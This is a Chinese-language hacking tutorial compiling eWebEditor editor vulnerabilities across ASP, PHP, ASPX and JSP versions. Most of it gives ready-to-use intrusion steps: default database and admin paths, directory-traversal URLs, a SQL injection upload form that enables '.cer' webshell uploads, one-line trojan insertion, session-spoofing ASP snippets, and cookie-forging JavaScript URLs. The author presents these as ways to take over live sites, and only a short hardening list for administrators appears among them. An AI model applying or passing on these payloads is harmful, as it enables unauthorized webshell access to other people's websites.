Ewebeditor的⼀些漏洞总结推荐
于是像windows⼀样被⿊客们挖掘出很多漏洞,⼤家莫急,笔者Minghacker总结前⼈基础,⼀⼀道来。
对于⽬前asp版本的ewebeditor编辑器漏洞主要分为以下7点:
默认,遍历⽬录漏洞,⼀句话,注⼊,构造,cookie欺骗,社⼯(踩脚印⼊侵),
NO1.ewebeditor编辑器⼀般默认数据库路径是db/ewebeditor.mdb
默认的后台路径是admin_login.asp
建议最好检测下admin_style.asp⽂件是否可以直接访问
举例
有个细节需要注意:
有抄袭版的;SouthidcEditor
数据库SouthidcEditor\Datas\SouthidcEditor.mdb
没登陆页⾯。
利⽤⽅法:PopUp.asp页⾯传图⽚⼩马,nc提交,得shell
NO2.遍历⽬录漏洞(具体如下):
登陆编辑器---上传⽂件管理---选择样式⽬录(随便选⼀个⽬录)
得到:
ewebeditor/admin_uploadfile.asp?id=14
在id=14后⾯添加&dir=..
再加 &dir=../..
&dir=../../../.. 看到整个⽹站⽂件了
此漏洞危害⼤⼤的,绝对恐怖
NO3.当数据库被管理员修改为asp、asa后缀的时候,可以插⼀句话⽊马服务端进⼊数据库,然后⼀句话⽊马客户端连接拿下webshell
NO4.有的时候爆了数据库不到后台地址让⼈发急,其实可以试试查看样式表,有没别⼈加⼊的asp、asa后缀样式表,也就是虽说的踩着脚印⼊侵。
还有的时候聪明的管理员也就是加“#”不妨社⼯试试,我可没少占便宜的
例如:db/#ewebeditor.asa、db/#ewebeditor.asp 、db/#ewebeditor.mdb
NO5.注⼊2.1.6的注⼊就不多说了,如下保存为html⽂件修改action,直接上传cer马
<H1>ewebeditor asp版 2.1.6 上传漏洞利⽤程序----</H1><br><br>
<form action="127.1/e/upload.asp?action=save&type=IMAGE&style=luoye' union select
S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt,
[S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where
s_name='standard'and'a'='a" method=post name=myform enctype="multipart/form-data">
<input type=file name=uploadfile size=100><br><br>
<input type=submit value=Fuck>
</form>
有次⽆意的⼊侵使我发现了ewebeditor2.7.0版本的存在注⼊漏洞
简单利⽤就是
site/path/ewebeditor/ewebeditor.asp?id=article_content&style=full_v200
默认表名:eWebEditor_System默认列名:sys_UserName、sys_UserPass,然后利⽤nbsi进⾏猜解,对此进⾏注⼊取得账号密码
NO6.有的时候管理员不让复制样式,但是你⼜看到有个样式被别⼈以前⼊侵修改了存在asa或者之类可以传shell,但是上传插⼊⼯具没有,⼜⽆法修改怎么办那?也许很多⼈说应该可以加⼯具栏,但是我就遇见过不让加的
这样我们可以利⽤ewebeditor⾥的upload.asp⽂件进⾏本地构造进⾏上传具体如下:
在action下⾯
<form action="" >>
<input type=file name=uploadfile size=1 onchange="originalfile.value=this.value">
<input type="submit" name="uploadfile" value="提交">
<input type=hidden name=originalfile value="">
</form>
------------------------------------------------------------------------------------------------------------------------------------------------
<input type="submit" name="uploadfile" value="提交"> 放在action后头
,适合⽤于在ewebeditor后台那个预览那⾥出来的⽐如上传图⽚那⾥,有些时候上传页⾯弹不出来,就可以⽤upload.asp?action=save&type=ASA&style=test 这个本地来提交,不过这个东西还是要数据库⾥上传类型有ASA才可以传得上。
NO.7还有种⽅式是最近坏客发现的
利⽤WebEditor session欺骗漏洞,进⼊后台:
漏洞⽂件:Admin_Private.asp
漏洞语句:
<%
If Session("eWebEditor_User") = "" Then
Response.Redirect "admin_login.asp"
Response.End
End If
只判断了session,没有判断cookies和路径的验证问题。
漏洞利⽤:
新建⼀个amxking.asp内容如下:
<%Session("eWebEditor_User") = "11111111"%>
访问amxking.asp,再访问后台任何⽂件,for example:Admin_Default.asp
  ⾯对此种威胁⽹站管理员应该做好如下的防范措施:
  1、使⽤了eWebEditor编辑器的⽹站,应及时修改该编辑器的默认数据库路径和后缀名,建议数据库多⽅⼏层⽬录,防⽌数据库被⿊客⾮法下载
  2、修改编辑器后台登陆路径和默认的登陆⽤户名和密码,防⽌⿊客进⼊后台管理界⾯
  3、对Upload.asp语句进⾏修改,防⽌⿊客利⽤其上传ASP⽊马从⽽获得WEB权限
4、及时对⽹站服务器IIS配置中的应⽤程序扩展名映射进⾏整理,确保其它类型的⽂件不能在服务器⽹站上运⾏
ewebeditor 5.2 列⽬录漏洞
出现漏洞的⽂件存在于ewebeditor/asp/browse.asp
ASP/Visual Basic代码
Function GetList()
Dim s_List, s_Url
s_List = ""
Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName
'Response.Write sCurrDir
'On Error Resume Next
Set oFSO = Server.CreateObject("Scripting.FileSystemObject")
Set oUploadFolder = oFSO.GetFolder(Server.MapPath(sCurrDir))
'注意⼀下sCurrDir变量,这个值等下我们可以⽤到
If Err.Number>0 Then
s_List = ""
Exit Function
End If
If sDir <> "" Then
If InstrRev(sDir, "/") > 1 Then
s_Url= Left(sDir, InstrRev(sDir, "/") - 1)
Else
s_Url = ""
End If
s_List = s_List & "" & _
"" & _
".." & _
" " & _
""
End If
'Response.Write sDir&"!"&s_List
Dim oSubFolder
For Each oSubFolder In oUploadFolder.SubFolders
'Response.Write oUploadFolder.SubFolders
If sDir = "" Then
s_Url = oSubFolder.Name
Else
s_Url = sDir & "/" & oSubFolder.Name
End If
s_List = s_List & "" & _
"" & _
"" & oSubFolder.Name & "" & _
" " & _
""
Next
'Response.Write s_List
Set oUploadFiles = oUploadFolder.Files
For Each oUploadFile In oUploadFiles
'Response.Write oUploadFile.Name
sFileName = oUploadFile.Name
If CheckValidExt(sFileName) = True Then
'这⾏让⼈有点郁闷,检测了所有允许的⽂件后缀,如不允许就⽆法列出,不然就不只列出⽬录名和图⽚⽂件了
If sDir = "" Then
s_Url = sContentPath & sFileName
Else
s_Url = sContentPath & sDir & "/" & sFileName
End If
s_List = s_List & "" & _
"" & FileName2Pic(sFileName) & "" & _
"" & sFileName & "" & _
"" & GetSizeUnit(oUploadFile.size) & "" & _
""
End If
Next
Set oUploadFolder = Nothing
Set oUploadFiles = Nothing
'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url
If sDir = "" Then
s_Url = ""
's_Url = "/"
Else
s_Url = "/" & sDir & ""
's_Url = "/" & sDir & "/"
End If
s_List = s_List & ""
s_List = HTML2JS(s_List)
'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url
s_List = "parent.setDirList(""" & s_List & """, """ & s_Url & """)"
GetList = s_List
End Function
'如果没有下⾯这步检测的话,应该就可以列出⽬录中所有的⽂件了,有点郁闷..现在只能列出允许后缀的⽂件和⽬录名Function CheckValidExt(s_FileName)editor版本
If sAllowExt = "" Then
CheckValidExt = True
Exit Function
End If
Dim i, aExt, sExt
sExt = LCase(Mid(s_FileName, InStrRev(s_FileName, ".") + 1))
CheckValidExt = False
aExt = Split(LCase(sAllowExt), "|")
For i = 0 To UBound(aExt)
If aExt(i) = sExt Then
CheckValidExt = True
Exit Function
End If
Next
End Function
'我们顺着代码往下,发现sCurrDir的值是通过下⾯的值得到的
Sub InitParam()
sType = UCase(Trim(Request.QueryString("type")))
sStyleName = Trim(Request.QueryString("style"))
Dim i, aStyleConfig, bValidStyle
bValidStyle = False
For i = 1 To Ubound(aStyle)
aStyleConfig = Split(aStyle(i), "|||")
If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then
bValidStyle = True
Exit For
End If
Next
If bValidStyle = False Then
OutScript("alert('Invalid Style.')")
End If
sBaseUrl = aStyleConfig(19)
'nAllowBrowse = CLng(aStyleConfig(43))
nAllowBrowse = 1
If nAllowBrowse <> 1 Then
OutScript("alert('Do not allow browse!')")
End If
sUploadDir = aStyleConfig(3)
If Left(sUploadDir, 1) <> "/" Then
Select Case sType
Case "REMOTE"
sUploadDir = "../../" & sUploadDir & "Image/"
Case "FILE"
sUploadDir = "../../" & sUploadDir & "Other/"
Case "MEDIA"
sUploadDir = "../../" & sUploadDir & "Media/"
Case "FLASH"
sUploadDir = "../../" & sUploadDir & "Flash/"
Case Else
sUploadDir = "../../" & sUploadDir & "Image/"
End Select
End If
'sUploadDir =sUploadDir &"/"
Select Case sBaseUrl
Case "0"
'sContentPath = aStyleConfig(23)
Select Case sType
Case "REMOTE"
sContentPath = "../" & aStyleConfig(3) & "Image/"
Case "FILE"
sContentPath = "../" & aStyleConfig(3) & "Other/"
Case "MEDIA"
sContentPath = "../" & aStyleConfig(3) & "Media/"
Case "FLASH"
sContentPath = "../" & aStyleConfig(3) & "Flash/"
Case Else
sContentPath = "../" & aStyleConfig(3) & "Image/"
End Select
Case "1"
sContentPath = RelativePath2RootPath(sUploadDir)
Case "2"
sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir)) End Select
Select Case sType
Case "REMOTE"
sAllowExt = aStyleConfig(10)
Case "FILE"
sAllowExt = aStyleConfig(6)
Case "MEDIA"
sAllowExt = aStyleConfig(9)
Case "FLASH"
sAllowExt = aStyleConfig(7)
Case Else
sAllowExt = aStyleConfig(8)
End Select
sCurrDir = sUploadDir '注意这⾥,这个是得到了配置的路径地址
sDir = Trim(Request("dir")) '得到dir变量
sDir = Replace(sDir, "\", "/") '对dir变量进⾏过滤
sDir = Replace(sDir, "../", "")
sDir = Replace(sDir, "./", "")
If sDir <> "" Then
If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then
sCurrDir = sUploadDir & sDir & "/"
'重点就在这⾥了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了
'虽然上⾯对sDir进⾏了过滤,不过我们完全可以跳过.具体利⽤st0p会在下⾯的利⽤中给出
Else
sDir = ""
End If
End If
End Sub
嘿嘿,看到这你应该明⽩了,其实就是对dir过滤的问题,我们完全可以构造特殊的值来跳过验证,这样就可以得到⽬录结构和显⽰设置⽂件中允许的⽂件后缀的⽂件了..
利⽤⽅法如下
/ewebeditor/asp/browse.asp?style=standard650&dir=…././/..
由于st0p测试的时候,上传⽬录是根⽬录下的uploadfile,通过上⾯的地址就可以得到根⽬录下的所有⽬录了.
嘿嘿,如果你发现打开的时候显⽰的是空⽩,不要灰⼼,这就对了,直接查看源代码,看到了吗,⾥⾯就有你根⽬录的⽬录名字了.
嘿嘿,他根⽬录下有个guest⽬录,我们通过下⾯的地址可以列出他下⾯的结构
/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/guest
然后我们也可以通过
/ewebeditor/asp/browse.asp?style=standard650&dir=…././/../…././/..
可以往更上层跳,我测试的那个虚拟主机,得到的是www,logfile,datebase这三个⽬录.
eWebEditorv5.5asp存在session欺骗漏洞!
记得以前eWebEditor在线编辑器有个session欺骗漏洞没想到5.5版本也存在!
代码如下:
'登录检查
Function ChkLogin()
If session("editor_admin")="" Or IsNull(session("editor_admin")) Then
PhilLogin()
session.CodePage = session("PreCodePage")
response.End
End If
End Function
呵呵很明显和以前的版本漏洞⼀样!
只是判断了session.
利⽤⽅法:
新建⽴个hkok8.asp内容为
<%Session("editor_admin") = "admin"%>
然后访问hkok8.asp 最后访问登陆⽂件.刷新ok进去了...
要进⾏这种Session欺骗,必须有三个前提:
1.进⾏欺骗的⽹页和被欺骗的⽹页必须位于同⼀个⽹站内.
2.必须知道管理页⾯。
3.必须知道Session变量以及它的限制条件。
php版ewebeditor 3.8的漏洞
php版本后台是调⽤../ewebeditor/admin/config.php,⼤家去看下源码就知道,在这⾥我说说利⽤⽅法:
1 ⾸先当然要到登陆后台,默认是../eWebEditor/admin/login.php,进⼊后台后随便输⼊⼀个⽤户和密码,当然会提⽰出错了,必须是出错的时候,然后这时候你清空浏览器的url,然后输⼊javascript:kie=”adminuser=”+escape(”admin”));javascript:kie=”adminpass=”+escape(”admin”));javascript:kie=”admindj=”+escape(”1″));后三次回车,
2 然后输⼊正常情况才能访问的⽂件../ewebeditor/admin/default.php就可以进后台了
3 后⾯的利⽤和asp⼀样,新增样式修改上传,就ok了
测试⼀下asp 2.8版本的,竟然⼀样可以⽤,爽,看来asp版的应该可以通杀(只测试2.8的,貌似2.8是最⾼版本的)
aspx的版本../ewebeditor/admin/upload.aspx添好本地的cer的Shell⽂件,在浏揽器输⼊javascript:lbtnUpload.click();就能得到shell
jsp的上传漏洞以及那个出了N久了,由于没有上传按钮,选择好要上传的shell,直接回车就可以了
哈哈,以后只要ewebeditor的后台可以到的话,就可以通杀了所以这个漏洞还是⽐较酷,建议收藏